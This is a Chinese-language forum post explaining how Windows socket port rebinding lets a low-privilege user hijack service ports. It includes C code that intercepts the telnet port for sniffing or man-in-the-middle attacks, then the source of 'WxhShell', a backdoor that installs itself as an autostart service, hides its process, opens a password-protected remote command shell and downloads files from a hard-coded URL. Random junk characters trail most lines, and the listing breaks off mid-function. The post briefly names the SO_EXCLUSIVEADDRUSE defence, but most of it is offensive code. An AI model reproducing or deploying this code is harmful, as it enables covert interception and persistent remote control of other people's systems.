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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t4hc X[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xm=$D6O:  
"];@N!dA  
  saddr.sin_family = AF_INET; 2,|;qFJY-@  
:" @-Bcln  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L gy^^.  
5;HCNwX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cVr+Wp7K#|  
NQvI=R-g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uK ,W  
+NiCt S  
  这意味着什么?意味着可以进行如下的攻击: <zAYq=IU  
kZi/2UA5Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (I35i!F+tY  
MhB> bnWXR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v?%vB#A^  
+B&+FGfNU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =([4pG  
9^nRwo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &rl;+QS  
\F""G,AWq{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @S>;t)\J  
OEC/'QOae  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4x#tUzb;  
E\p"%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~CdW: t  
G!h75G20  
  #include ]e+&Pxw]e  
  #include ( 5uSqw&U  
  #include $ \o)-3  
  #include    tE-g]y3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?zbWz=nq  
  int main() !_B*Po  
  { 5OX[)Li  
  WORD wVersionRequested; WJ[>p ELT,  
  DWORD ret; }Gy M<!:  
  WSADATA wsaData; }6=)w@v  
  BOOL val; (XY`1|])`  
  SOCKADDR_IN saddr; brlbJFZ19  
  SOCKADDR_IN scaddr; <iGW~COd  
  int err; >7S@3,C3ke  
  SOCKET s; ~-B+7  
  SOCKET sc; Nd{U|k3pL  
  int caddsize; 7q 5 *grm  
  HANDLE mt; yf4L0.  
  DWORD tid;   BBv+*jj  
  wVersionRequested = MAKEWORD( 2, 2 ); /SQ/$`1{  
  err = WSAStartup( wVersionRequested, &wsaData ); vAqj4:j  
  if ( err != 0 ) { #N'9 w .  
  printf("error!WSAStartup failed!\n"); 0z4M/WrNt  
  return -1; Re %dNxJ=  
  } &ODo7@v`1  
  saddr.sin_family = AF_INET;  5sN6&'[  
   ~131|e`C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k}NM]9EAE  
HXztEEK6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <gfRAeXA  
  saddr.sin_port = htons(23); f fBd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '3WtpsKA  
  { M}f(-,9  
  printf("error!socket failed!\n"); cDE5/!  
  return -1; T#*H  
  } P".IW.^kk~  
  val = TRUE; 5,g +OY=\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )5gj0#|CG@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ki7t?4YE  
  { <JU3sXl  
  printf("error!setsockopt failed!\n"); ' VKD$q  
  return -1; Y$]zba  
  } /> /e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o[i N/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1 <+aF,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KAI2[ gs  
"J=Cy@SSa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .kn2M&P>=  
  { +A)> zx  
  ret=GetLastError(); TjYHoL5  
  printf("error!bind failed!\n"); a !%,2|U  
  return -1; q CYu@Ho  
  } |?8nO.C~V  
  listen(s,2); $?bD55  
  while(1) !2l2;?jM  
  { O=(F46 M  
  caddsize = sizeof(scaddr); H"6x/&s.=k  
  //接受连接请求 *4}NLUVX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V-n{=8s  
  if(sc!=INVALID_SOCKET) p\lR1  
  { \AKP ea=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !]82$  
  if(mt==NULL) emK*g<]  
  { Z?!AJY  
  printf("Thread Creat Failed!\n"); Y%;X7VxU*  
  break; zIjfx K  
  } ~uty<fP  
  } Q47R`"  
  CloseHandle(mt); F}ATY!  
  } nW7: ]  
  closesocket(s); 5)lcgvp  
  WSACleanup(); K4<"XF1A:  
  return 0; ,.>9$(s  
  }   i#t-p\Tcz  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2a eH^:u  
  { n+ebi>}P  
  SOCKET ss = (SOCKET)lpParam; &um++ \  
  SOCKET sc; 76 )"uqv1x  
  unsigned char buf[4096]; !ZH "$m|  
  SOCKADDR_IN saddr; `?(J(H  
  long num; dR1IndZl  
  DWORD val; O8A1200  
  DWORD ret; d\]KG(T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PR:B6 F8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ION o&~-l  
  saddr.sin_family = AF_INET; Sl, DZ!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [1 P_^.Htr  
  saddr.sin_port = htons(23); ^]R_t@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B?=R= p  
  { [,AFtg[  
  printf("error!socket failed!\n"); x-CjxU3  
  return -1; M=pQx$%a  
  } N{HAWB{  
  val = 100; c-XO}\?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >*ls} q^  
  { JR.)CzC  
  ret = GetLastError(); yV:8>9wE8  
  return -1; _.; PLq~0  
  } JP<j4/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /g{*px|  
  { sT2`y$ '  
  ret = GetLastError(); AYfOETz  
  return -1; %QEBY>|lI  
  } 49=pB,H;H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l+"p$iZs  
  { ^7aqe*|vm  
  printf("error!socket connect failed!\n"); t;w<n"  
  closesocket(sc); |w|c!;,  
  closesocket(ss); qr%N /7  
  return -1; qP#LJPaS  
  } $5 mGYF]  
  while(1) F,~BhKkbV  
  { ?g+3 URpK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w gS'/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q=88*Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k37?NoT  
  num = recv(ss,buf,4096,0); PzSL E>Q  
  if(num>0) ';FJs&=I  
  send(sc,buf,num,0);  (yP1}?  
  else if(num==0) $TXiWW+  
  break; IsI5c  
  num = recv(sc,buf,4096,0); aH1CX<3)~  
  if(num>0) (dSYb&]  
  send(ss,buf,num,0); zni9  
  else if(num==0) RQ8d1US  
  break; JyE-c}I  
  } ZcXAqep8'  
  closesocket(ss); 9lYfII}4(  
  closesocket(sc); N E9,kWI  
  return 0 ; ny13+Q`^  
  } A|f6H6UUx  
~#)hqU'  
&!/>B .  
========================================================== #[=kQ&  
YgcW1}  
下边附上一个代码,,WXhSHELL NRtH?&7  
^>l <)$s  
========================================================== 9$HKP9G  
3Sfd|0^  
#include "stdafx.h" =_-u;w1D  
% vUU Fub  
#include <stdio.h> y`n?f|nf  
#include <string.h> h-ii-c?R@0  
#include <windows.h> sF!#*Y  
#include <winsock2.h> %evb.h)  
#include <winsvc.h> \bdKLcKI,  
#include <urlmon.h> @)h>vg  
cQt&%SVT]E  
#pragma comment (lib, "Ws2_32.lib") o^2MfFS  
#pragma comment (lib, "urlmon.lib") 95'+8*YCY  
phu,&DS!  
#define MAX_USER   100 // 最大客户端连接数 &q<k0_5Q  
#define BUF_SOCK   200 // sock buffer s*Qyd{"z  
#define KEY_BUFF   255 // 输入 buffer ,VVA^'+  
;VKWY  
#define REBOOT     0   // 重启 6{.U7="  
#define SHUTDOWN   1   // 关机 DehjV6t  
jaEe$2F2  
#define DEF_PORT   5000 // 监听端口 /.e7#-+?  
&'fER-  
#define REG_LEN     16   // 注册表键长度 W_M#Gi/ AL  
#define SVC_LEN     80   // NT服务名长度 `r SOt *<  
Z4/D38_  
// 从dll定义API e7GYz7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;:bp?(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vgy.fP"@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O;RBK&P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x$-kw{N  
nBk&+SN  
// wxhshell配置信息 ppz3"5  
struct WSCFG { tsg`c;{  
  int ws_port;         // 监听端口 l[i4\ CT  
  char ws_passstr[REG_LEN]; // 口令 '=$`NG8 l  
  int ws_autoins;       // 安装标记, 1=yes 0=no k( 0;>)<i  
  char ws_regname[REG_LEN]; // 注册表键名 _R ]s1  
  char ws_svcname[REG_LEN]; // 服务名 3 zh:~w_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dazm8_x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nlB'@r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "yQBHYP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bX2BEa8<"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~!Sd|e:4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dGk"`/@  
D'!JV1Q  
}; X:s~w#>R  
e;XRH<LhAU  
// default Wxhshell configuration H Y5R  
struct WSCFG wscfg={DEF_PORT, _{'[Uf/l  
    "xuhuanlingzhe", Ac U@H0  
    1, wuXQa wo  
    "Wxhshell", *l`yxz@U  
    "Wxhshell", [z!m  
            "WxhShell Service", Ew0)MZ.#  
    "Wrsky Windows CmdShell Service", dUa>XkPa\2  
    "Please Input Your Password: ", wb62($  
  1, `0ym3}(O  
  "http://www.wrsky.com/wxhshell.exe", gN<7(F  
  "Wxhshell.exe" VX8rM!3  
    }; 6Tmz!E0  
wzy[sB274  
// 消息定义模块 By6O@ .\V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WwsNAJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kHr-UJ!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T&[6  
char *msg_ws_ext="\n\rExit."; -Wa<}Tz  
char *msg_ws_end="\n\rQuit."; TXM/+sd  
char *msg_ws_boot="\n\rReboot..."; 0B8Wf/j?M  
char *msg_ws_poff="\n\rShutdown..."; X[h{g`  
char *msg_ws_down="\n\rSave to "; ahg P"Qz  
?J2A.x5` a  
char *msg_ws_err="\n\rErr!"; M 0}r)@  
char *msg_ws_ok="\n\rOK!"; ~.x#ic  
95IP_1}?  
char ExeFile[MAX_PATH]; 5)Z=FUupA~  
int nUser = 0; HYO/]\al  
HANDLE handles[MAX_USER]; 873 bg|^hs  
int OsIsNt; yg8= G vO  
.BJoY <P*  
SERVICE_STATUS       serviceStatus; O-7)"   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vp; `!+z"  
lS Y "  
// 函数声明 Eg1TF oIWl  
int Install(void); GmNCw5F  
int Uninstall(void); <EqS ,cO^  
int DownloadFile(char *sURL, SOCKET wsh); Y.I~.66s  
int Boot(int flag); '2Zs15)V  
void HideProc(void); H HX q_-V  
int GetOsVer(void); }.D18bE(  
int Wxhshell(SOCKET wsl); \3ydNgl  
void TalkWithClient(void *cs); <LH6my  
int CmdShell(SOCKET sock); r{?qvl!q  
int StartFromService(void); ]0<K^OIY  
int StartWxhshell(LPSTR lpCmdLine); xKBi".wA  
o% Q7 el$f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A?04,l]y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >a*dI_XE  
pvl];w  
// 数据结构和表定义 ylos6]zS8  
SERVICE_TABLE_ENTRY DispatchTable[] = *MfH\X379  
{ D"$ 97  
{wscfg.ws_svcname, NTServiceMain}, tkm@&e=e%  
{NULL, NULL} 1O,5bi>t7  
}; RLex#j  
3%r/w7Fc  
// 自我安装 %w>3Fwj`z  
int Install(void) sa<\nH$_X  
{ ,)U%6=o#}  
  char svExeFile[MAX_PATH]; ?/T=G k  
  HKEY key; ;uc3_J]  
  strcpy(svExeFile,ExeFile); Muq~p~m}  
~Fo2MwE2~  
// 如果是win9x系统,修改注册表设为自启动 kLF3s#k  
if(!OsIsNt) { s+_8U}R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .KG9YGL#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lmUCrs37  
  RegCloseKey(key); e/x 9@1s#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /T  {R\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s^6,"C  
  RegCloseKey(key); ' xaPahx;  
  return 0; +8 "8s  
    } Iw?f1 ]  
  } L$"x*2[A  
} ?Qd`Vlp7  
else { JgHYuLB  
*C|*{!  
// 如果是NT以上系统,安装为系统服务 vMX\q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <2 kv/  
if (schSCManager!=0) GNwFB)?j  
{ Nf* .r  
  SC_HANDLE schService = CreateService }jce5E  
  ( #D(=[F  
  schSCManager, I4ZbMnO  
  wscfg.ws_svcname, t:oq't  
  wscfg.ws_svcdisp, xh<{lZ)KJ  
  SERVICE_ALL_ACCESS, FmF[S&gFRs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p]~PyzG!  
  SERVICE_AUTO_START, ~ [/jk !G  
  SERVICE_ERROR_NORMAL, ('uUf!h?\  
  svExeFile, ;){ZM,Ox  
  NULL, bM_fuy55Op  
  NULL, < fe.  
  NULL, gyy}-^`F  
  NULL, "5$p=|  
  NULL J^DyhCs  
  ); Iq19IbR8  
  if (schService!=0) pE+:tMH;  
  { dpge:Qhr  
  CloseServiceHandle(schService); 1W0[|Hf2v*  
  CloseServiceHandle(schSCManager); ~z41$~/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e50xcf1u  
  strcat(svExeFile,wscfg.ws_svcname); S+eu3nMq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tNqSCjQ~_c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l.;^w  
  RegCloseKey(key); i(e=  
  return 0; =SW<Vhtb  
    } {fEb>  
  } `x#}co  
  CloseServiceHandle(schSCManager); BlT)hG(M>  
} ^*y 1Fn0  
} r>KmrU4Q  
(bNoe(<qU  
return 1; Gf~^Xv!T  
} n#?y;Y\  
qM Qu!%o  
// 自我卸载 FSkX95  
int Uninstall(void) UT 7'-  
{ hSps9*y  
  HKEY key; Mbly-l{|  
Ya<V@qd  
if(!OsIsNt) { Sy*p6DP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c&<Ei1  
  RegDeleteValue(key,wscfg.ws_regname); <ZO+e*4  
  RegCloseKey(key); 'c/8|9jX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #c/K.?  
  RegDeleteValue(key,wscfg.ws_regname); @L607[!?  
  RegCloseKey(key); )#? K2E  
  return 0; Az?^4 1r8  
  } [%Z{Mp'g  
} 66MUrNW  
} &[PA?#I`  
else { ]R09-s 0$7  
)C0I y.N-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p~(STHDe#  
if (schSCManager!=0) ( Y Z2&  
{ elD|b=(-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ][8`}ki 1  
  if (schService!=0) FId,/la  
  { mgq4g  
  if(DeleteService(schService)!=0) { #z*,-EV|  
  CloseServiceHandle(schService); c[vFh0s"m  
  CloseServiceHandle(schSCManager); :8v? 6Q  
  return 0; 4^ 0CHy  
  } ),%@X  
  CloseServiceHandle(schService); }1a(*s,s-^  
  } F+D e"^As  
  CloseServiceHandle(schSCManager); m.5@q mQ  
} %r(qQM.Pl  
} h>z5m   
X7?14W  
return 1; pQ ul0]  
} 9zLeyw\  
q03nu3uDI  
// 从指定url下载文件 {uqP+Cs  
int DownloadFile(char *sURL, SOCKET wsh) je>mAQKi\  
{ kH[thR k}  
  HRESULT hr; +mO/9m  
char seps[]= "/"; O /&Qzt  
char *token; 3]&le[.  
char *file; + =U9<8  
char myURL[MAX_PATH]; <#./q LSR  
char myFILE[MAX_PATH]; M~9IL\J^G  
Hm~.u.)\.  
strcpy(myURL,sURL); }JUc!cH8z  
  token=strtok(myURL,seps); Q[T)jo,j%  
  while(token!=NULL) u3jLe=Y'\  
  { 4Le{|B  
    file=token; $?OQtz@  
  token=strtok(NULL,seps); qE6D"+1y7  
  } W$gjcsv  
[a#*%H{OC  
GetCurrentDirectory(MAX_PATH,myFILE); rF/<}ye/4M  
strcat(myFILE, "\\"); P (fWJVF7  
strcat(myFILE, file); AFsYP/g]  
  send(wsh,myFILE,strlen(myFILE),0); T9>,Mx%D[  
send(wsh,"...",3,0); :p$Q3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0p*Oxsy  
  if(hr==S_OK) 8b25D|8l  
return 0; !]8QOn7=  
else Zo Ra^o  
return 1; E8aD[j[w  
bhW&,"$Z  
} TH~"y  
0"mr*hyj  
// 系统电源模块 - G=doP0  
int Boot(int flag) @Fb 2c0?Y  
{ ;"NW= P&  
  HANDLE hToken; z E\~Oa;  
  TOKEN_PRIVILEGES tkp; xr^fP~V|)0  
byk9"QeY\  
  if(OsIsNt) { @M(+YCi:e@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7K24sHw;%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MX|@x~9W  
    tkp.PrivilegeCount = 1; X9YbTN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yM?jiy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r <2&_$|  
if(flag==REBOOT) { 2KNs,4X@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6 _#CvQ  
  return 0; $N4i)>&T2  
} \IOF 9) F  
else { tG 0 &0`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LiJ./  
  return 0; 'D^@e0.3  
} 0BP=SCi  
  } ]ia{N  
  else {  [4mIww%  
if(flag==REBOOT) { S\@U3|Q5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9#\oGzDN  
  return 0; 7fW$jiw  
} v2vtkYQN  
else { 4`:Eiik&p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rab7Y,AA  
  return 0; /,+&O#SX  
} U)_x(B3d/  
} B~u`bn,iQ  
Ka8Bed3  
return 1; jB\Knxm v  
} !PEP`wEKdp  
Jwbb>mB!  
// win9x进程隐藏模块 Ots]y  
void HideProc(void) GO6uQ};  
{ 3/CKy##r%]  
ifadnl26 s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YDGW]T]i ?  
  if ( hKernel != NULL ) P A$jR fQ  
  { Y58et9gRO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ynZfO2kf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P?<G:]W  
    FreeLibrary(hKernel); WCg&*  
  } AL[,&_&uV  
k}e~xbh-y  
return; W>E|Iv[o  
} CD)JCv  
o3oTu  
// 获取操作系统版本 \!4_m8?  
int GetOsVer(void) 5:SS2>~g  
{ {0\9HI@  
  OSVERSIONINFO winfo; ]U.*KkQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *NoixV1>  
  GetVersionEx(&winfo); P u,JR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "Pzh#rYY~W  
  return 1; .-cx9&  
  else =dY!-#yg!  
  return 0; q'`LwAU}  
} Z<[:v2  
?GeMD /]  
// 客户端句柄模块 bA/'IF+  
int Wxhshell(SOCKET wsl) S H6T\}X:  
{ t+A9nvj)  
  SOCKET wsh; x\K,@  
  struct sockaddr_in client; >]ZW.?1h  
  DWORD myID; Si-Q'*Y=  
rchKrw  
  while(nUser<MAX_USER) uS5ADh  
{ /2:s g1  
  int nSize=sizeof(client); 1krSX 2L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p4z thdN[  
  if(wsh==INVALID_SOCKET) return 1; /q?g py  
m[Cp G=32B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yG,uD!N]|  
if(handles[nUser]==0) gh.+}8="  
  closesocket(wsh); y*#+:D]o*  
else  OF O,5  
  nUser++; C{]1+eL  
  } P$6 Pe>3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #F'8vf'r  
h.5KzC S  
  return 0; }[SYWJIc  
} -mG ,_}F  
!>)o&sM  
// 关闭 socket c2:oM<6|  
void CloseIt(SOCKET wsh) Ceew~n{  
{ tiF-lq  
closesocket(wsh); Jj~|2Zt  
nUser--; aA'of>'ib|  
ExitThread(0); T (? CDc+  
} Pdk#"H-j  
zB'_YwW  
// 客户端请求句柄 c uHF^l  
void TalkWithClient(void *cs) W;|%)D)y  
{ 4X5KrecNr  
t@q==VHF  
  SOCKET wsh=(SOCKET)cs; >FqU=Q  
  char pwd[SVC_LEN]; ^m-w@0^z  
  char cmd[KEY_BUFF]; UvuA N:'  
char chr[1]; i-R}O6  
int i,j; qD,/Qu62  
|2Uw8M7.E  
  while (nUser < MAX_USER) { Ht|"91ZC5  
Em(Okr,0  
if(wscfg.ws_passstr) { C0CJ;   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D+{& zo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L+8O 4K{  
  //ZeroMemory(pwd,KEY_BUFF); I/go$@E"  
      i=0; ^ LVKXr  
  while(i<SVC_LEN) { !1Nh`FN  
okTqq=xd`  
  // 设置超时 HF*j=qt!  
  fd_set FdRead; \4>& zb4  
  struct timeval TimeOut; 6xx(o  
  FD_ZERO(&FdRead); jOm7:+H  
  FD_SET(wsh,&FdRead); T9uOOI  
  TimeOut.tv_sec=8; DC0O N`  
  TimeOut.tv_usec=0; NKl`IiGv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1P WTbd l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sW76RKX8  
FIx|4[&>S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fpJ%{z2  
  pwd=chr[0]; 3!`_Q%  
  if(chr[0]==0xd || chr[0]==0xa) { +%Z:k  
  pwd=0; dnkHx  
  break; /z:1nq  
  } S" (Nf+ux  
  i++; g!^mewtd  
    } l[[^]__  
PW\me7iCz  
  // 如果是非法用户,关闭 socket Y++n0sK5<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "^wIixOH5  
} 3AAciMq}  
~zVe?(W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \{v-Xe&d^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *:ErZ UyQM  
wQa,o l_p  
while(1) { rp|A88Q/!  
yT[=!M  
  ZeroMemory(cmd,KEY_BUFF); ]}n|5  
O`T_'.Lk  
      // 自动支持客户端 telnet标准   RDEK=^J  
  j=0; G!o6Y:1!  
  while(j<KEY_BUFF) { 4j(`koX_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M>xT\  
  cmd[j]=chr[0]; wCu!dxT|,  
  if(chr[0]==0xa || chr[0]==0xd) { a)I>Ns)  
  cmd[j]=0; t%Bh'HkG  
  break; N%%trlDXD  
  } V Ds0+RC  
  j++; ZD4aT1|Q7  
    } b1QHZY\g{  
'S*]JZ1  
  // 下载文件 ZrB(!L~7  
  if(strstr(cmd,"http://")) { 8U}+9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AQ,"):ofvT  
  if(DownloadFile(cmd,wsh)) VP<LY/'f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BqUwvB4  
  else 2/\I/QkTs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ta^$&$l  
  } c'mg=jH  
  else { ,<Wt8'e  
dI>cPqQ  
    switch(cmd[0]) { q_98=fyE6  
  pl$wy}W-  
  // 帮助 /U-+ClZi@  
  case '?': { 9e.$x%7j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ddd2w  
    break; Y#6LNI   
  } eu":\ks  
  // 安装 '-cayG   
  case 'i': { U@D\+T0  
    if(Install()) e)m6xiZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2cSc 8  
    else Y0J:c?,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c *<m.  
    break; l/"!}wF  
    } u:tcL-;U  
  // 卸载 !6a;/ys  
  case 'r': { PZO.$'L|7  
    if(Uninstall()) IiJ$Ng  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e/#6qCE  
    else 2%9L'-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jd',v  
    break; QpRk5NeLe  
    } /I{K_G@  
  // 显示 wxhshell 所在路径 ]&9=f#k%  
  case 'p': { a .?AniB0  
    char svExeFile[MAX_PATH]; jbUg?4k!  
    strcpy(svExeFile,"\n\r"); pp(?rE$S  
      strcat(svExeFile,ExeFile); m)?0;9bt  
        send(wsh,svExeFile,strlen(svExeFile),0); TBky+]p@  
    break; #2$wI^O  
    } :$gs7<z{rm  
  // 重启 wXZ9@(^  
  case 'b': { c;!| =  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9W_mSum  
    if(Boot(REBOOT)) 2|] <U[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W]_a_5  
    else { ^f-)gZ&  
    closesocket(wsh); {v|ib112;  
    ExitThread(0); 2v;&`04V<  
    } m,J IId%O  
    break; SuNc&e#(  
    } _a|g >  
  // 关机 H q?F@X  
  case 'd': { ^:mKTiA-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s&Al4>}.f  
    if(Boot(SHUTDOWN)) r`.Bj0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >j*0fb!:]  
